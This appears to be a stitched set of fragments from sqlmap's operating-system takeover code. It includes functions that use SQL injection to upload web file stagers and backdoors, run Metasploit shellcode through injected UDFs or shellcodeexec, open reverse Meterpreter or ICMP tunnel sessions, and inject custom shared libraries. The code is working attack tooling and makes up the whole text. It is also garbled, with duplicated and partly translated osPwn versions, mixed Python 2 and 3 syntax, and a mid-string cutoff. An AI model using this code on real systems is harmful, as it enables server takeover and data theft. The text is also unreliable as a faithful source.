directory[0] != '/': localPath = "%s/%s" % (docRoot, directory) uriPath = "/%s" % directory else: localPath = directory uriPath = directory[2:] if isWindowsDriveLetterPath( directory) else directory docRoot = docRoot[2:] if isWindowsDriveLetterPath( docRoot) else docRoot if docRoot in uriPath: uriPath = uriPath.replace(docRoot, "/") uriPath = "/%s" % normalizePath(uriPath) else: webDir = extractRegexResult( r"//[^/]+?/(?P<result>.*)/.", conf.url) if webDir: uriPath = "/%s" % webDir else: continue localPath = posixpath.normpath(localPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/') # Upload the file stager self._webFileInject(stagerContent, stagerName, localPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes( normalizePath("%s/%s" % (localPath, stagerName))).replace( "//", "/").rstrip('/') uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % localPath singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager via " infoMsg += "UNION technique" logger.info(infoMsg) handle, filename = mkstemp() os.fdopen(handle).close( ) # close low level handle (causing problems latter) with open(filename, "w+") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace( "WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) f.write(utf8encode(_)) self.unionWriteFile(filename, self.webStagerFilePath, "text") uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: continue else: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % localPath warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % ( self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload( backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self._webFileInject(backdoorContent, backdoorName, localPath) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = localPath self.webBackdoorFilePath = ntToPosixSlashes( normalizePath("%s/%s" % (localPath, backdoorName))).replace( "//", "/").rstrip('/') testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if (not isStackingAvailable() or kb.udfFail) and not conf.direct: return if any((conf.osCmd, conf.osShell)) and Backend.isDbms( DBMS.PGSQL) and kb.copyExecTest: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg)
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_PLATFORM.ASP if Backend.isOs( OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer( r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace( conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage( value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub( r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(OrderedSet(directories)) path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = getText( decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) stagerContent = getText( decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with openFile(filename, "w+b") as f: _ = getText( decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace( SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webPlatform == WEB_PLATFORM.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace( SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "你想如何建立隧道??" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "无效值,有效值为'1'和'2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "当后端DBMS不是Windows时,隧道只能通过TCP建立" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "如果要建立带外ICMP隧道,则需要以管理员身份运行sqlmap,因为icmpsh使用原始套接字来嗅探和制作ICMP数据包" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。" errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "您需要在整个系统范围内禁用ICMP回复 " errMsg += "例如在Linux/Unix上运行:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "如果您错过了这么做,您将收到来自数据库服务器的信息,而不会收到您发送的命令的回应。" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode?" msg += "\n[1] 通过UDF 'sys_bineval' (内存方式,反取证,默认)" msg += "\n[2] 通过shellcodeexec(文件系统方式,首选64位系统)" while True: choice = readInput(msg, default='1') if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "无效值,有效值为1和2" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "默认情况下,MySQL在Windows上运行为SYSTEM用户,不需要权限升级" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "要使用web后门建立隧道" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: #Unset --priv-esc如果后端DBMS底层操作系统不是Windows conf.privEsc = False warnMsg = "当后台DBMS底层系统不是Windows时,sqlmap不实现任何操作系统用户权限升级技术" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)
def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(getTechnique()): where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page
def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = "" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= any(_ in out for _ in ("Starting the payload handler", "Started reverse")) # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search(r"Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all( proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) if conf.liveTest and timeout: if initialized: send_all(proc, "exit\n") time.sleep(2) else: proc.kill() except (EOFError, IOError, select.error): return proc.returncode except KeyboardInterrupt: pass
def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" logger.warn(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: self.udfLocalFile = readInput(msg) if self.udfLocalFile: break else: logger.warn( "you need to specify the local path of the shared library" ) else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith( ".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename( self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename( self.udfLocalFile).split(".")[1] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warn("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg) if udfName: self.udfs[udfName] = {} break else: logger.warn("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "how many input parameters takes UDF " msg += "'%s'? (default: 1) " % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warn("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warn( "you need to specify the data-type of the parameter" ) else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if hasattr(retType, "isdigit") and retType.isdigit(): logger.warn( "you need to specify the data-type of the return value" ) else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "which UDF do you want to call?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg).upper() if choice == 'Q': break elif isDigit(choice) and int(choice) > 0 and int( choice) <= len(udfList): choice = int(choice) break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) logger.warn(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "what is the value of the parameter number " msg += "%d (data-type: %s)? " % (count, inp) while True: parValue = readInput(msg) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warn( "you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs)
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: __import__("impacket") except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(filename): try: with open(filename, "wb") as f: f.write("1") except IOError, ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % ( filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval")
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: __import__("impacket") except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(filename): try: with open(filename, "wb") as f: f.write("1") except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % ( filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back 